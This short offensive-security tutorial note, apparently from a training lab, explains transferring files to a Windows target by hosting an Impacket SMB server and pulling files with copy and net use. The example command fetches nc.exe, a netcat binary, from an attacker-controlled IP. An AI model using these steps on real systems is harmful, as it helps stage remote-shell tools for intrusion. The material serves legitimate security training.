The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running.
Create an SMB server in our Pwnbox with smbserver.py from Impacket and then use copy, move, PowerShell Copy-Item, or any other tool that allows connection to SMB.
sudo impacket-smbserver share -smb2support /tmp/smbshare
To download a file from the SMB server to the current working directory, we can use the following command:
Copy a File from the SMB Server
copy \\\\192.168.220.133\\share\\nc.exe
To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Mount the SMB Server with Username and Password
net use n: \\\\192.168.220.133\\share /user:test test
net use n: \\10.10.14.136\share\uploader /user:test test
<aside> 🗒️
You can also mount the SMB server if you receive an error when you use copy filename \\\\\\\\IP\\\\sharename
</aside>